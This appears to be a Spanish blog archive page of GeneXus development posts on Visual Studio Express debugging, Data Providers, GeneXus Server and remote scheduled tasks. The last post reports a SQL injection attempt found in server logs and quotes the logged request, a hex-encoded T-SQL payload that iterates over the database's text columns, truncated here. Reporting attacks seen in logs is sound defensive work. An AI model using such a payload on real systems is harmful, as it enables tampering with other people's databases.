Entradas

Mostrando las entradas de agosto, 2013

Usar Visual Studio Express 2012 para desarrollar extensiones GeneXus

Imagen
Para quienes programamos poco en C#, es muy practico usar las versiones Express de Visual Studio que son gratuitas.

Esta versión tiene la limitación que no permite hacer el debug de DLL, porque no tiene posibilidad de ejecutar programas externos para debug.  Dicha limitante, es solamente en la edición del proyecto y si se agregan las lineas en negrita al archivo de extensión .csproj ya se puede depurar dll.


<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
    <StartAction>Program</StartAction>
    <StartProgram>C:\Program Files (x86)\Artech\GeneXus\GeneXusXEv2Desa\GeneXus.exe</StartProgram>
    <DebugSymbols>true</DebugSymbols>

Esto es muy práctico para quienes desarrollamos extensiones GeneXus, pues permite levantar GeneXus mientras realizamos el debug de las dll.

En versiones pagas de Visual Studio, esto se puede editar directamente desde la interfaz del producto.

La conectivdad aérea del Uruguay y los proyectos informáticos.

Imagen
Esta es una anécdota personal de hace unos cuantos años.  Habíamos conseguido un proyecto en Costa Rica que exigía que siempre hubiera al menos una persona de Concepto para dar apoyo y avance del proyecto. 
Eramos unas 8 personas que nos turnábamos en los viajes y éstos eran de una semana en su mayoría. 
La conectividad aérea del país hacia America Central, era bastante mala, a pesar que existían muchas compañías que viajaban hasta Montevideo. 
Las que mas usábamos Varig, Pluna, United, American y varias mas. 
Para llegar a San José en Costa Rica, teníamos que hacer Montevideo, San PabloSan Pablo, MiamiMiami, San Jose.  Como era previo al 2001, pasar por Miami no era tan burocrático e incomodo como lo es ahora por los controles y las demoras, pero igual era un viaje larguísimo para poder llegar. 
Lo bueno, era que rápidamente llegábamos a ser viajeros frecuentes con muchísimas millas y por lo tanto nos empezaron a pasar a las salas VIP y todas esas cosas que las empresas aéreas dan par…

PiensoPienso: Que devuelve este Data Provider?

Imagen
Tengo la tabla

Ciudades
*CiudadId         C(10)
  Pobladores      N(10)

Con los datos:
CIUDAD1    1000
CIUDAD2    2000
CIUDAD3    3000


Y el Data Provider, que recibe como parametro &CiudadId


Cual es la salida de este programa?

1) 1000
     0

2) 1000
     6000

3) 1000
     3000

Es muy sencillo, pero tiene una pequeña trampa.



GeneXus Data Providers.

Imagen
Me encantan los Data Providers, pero no los entiendo. Me gustan porque son muy potentes y escribiendo poco se puede lograr muchísimo, pero muchas veces no hacen lo que yo quiero, son bastante desobedientes.

Para poner un ejemplo, quiero hacer DP para mostrar Rankings de Ventas. Fue el ejemplo mas sencillo que se me ocurrió. 
Quiero mostrar el total de lo vendido:   por Localpor Zona por Fecha. 
Los DP van a devolver un SDT Ranking que tenga el total vendido por las diferentes dimensiones
CASO 1: Ranking por Local 
Hice un Data Provider con la sintaxis: 
 y esto devuelve lo vendido por cada uno de los locales y todo muy sencillo. 
Hice un Webpanel, que permite seleccionar el Data Provider y muestra en SDT en una grilla y también pasa dicho SDT a XML para que sea fácil ver los datos crudos. 
Hasta acá, todo correcto y según lo esperado.

Ahora, quiero que me devuelva el SDT ordenado por lo la suma de lo vendido, pero aca empieza a complicarse. No encuentro la forma de salvar un el Data Pr…

GeneXus Server: Wish list.

Imagen
GeneXus Server, es la herramienta desarrollada por Artech, para el trabajo en grupo con GeneXus.
Hoy es como un respositorio centralizado de una KB, donde los desarrolladores del grupo de trabajo suben  los cambios que han programado (operación commit) y actualizan lo que los demás han cambiado (operación update).

Desde que migramos a la versión X, estamos usando dicha herramienta y es un cambio grande en la forma de trabajo que teníamos con versiones anteriores de GeneXus, pues mejora muchísimo el ciclo de consolidación de los cambios.

Luego de usarlo por un tiempo, hemos ido acumulando algunos cambios que paso a listar aquí:

1) Traer objetos desde otra KB que esta en GeneXus Server.
Seria muy practico, poder seleccionar algunos objetos desde la interfaz WEB y poder generar un archivo de export.
Por ejemplo, veo una KB en GXServer en su interfaz WEB. que tiene algo que me interesa (por ejemplo una trasacción y algunos dominios)  y quiero incorporarla a mi KB local.  Para lograr extr…

Ejectuar tareas agendadas en otro servidor.

Imagen
Tenia que realizar una tarea sencilla:

Desde un servidor WEB, se quería ejecutar un proceso en otro servidor, como indica el esquema


La aplicación WEB está desarrollada con GeneXus y el servidor de aplicaciones es un servidor windows y tiene la tarea schedulada para correr una vez por dia.
Lo que se quiere es que el usuario pueda ejecutar la tarea cada vez que lo desee.

Para lograrlo, se puede usar el el comando

schtasks.exe /run /S servidor_aplicaciones /TN Tarea1 y ejecutarlo con el comando shell(). El usuario necesita algún permiso especial para poder ejecutarlo, pero es algo que se puede solucionar fácilmente.

Me pareció una solución sencilla para ejecutar algo a demanda (cuando el usuario lo quiera) y tambien cada un determinado periodo.

Intento de SQL Injection.

Imagen
En una revisión rutinaria de los logs de un servidor web, encontramos la entrada:

2013-07-25 15:25:52 17.172.13.1 GET /petroglifo/hwnbuspa.aspx 1+declare+@s+varchar(8000)+set+@s=cast(0x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e313020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c45…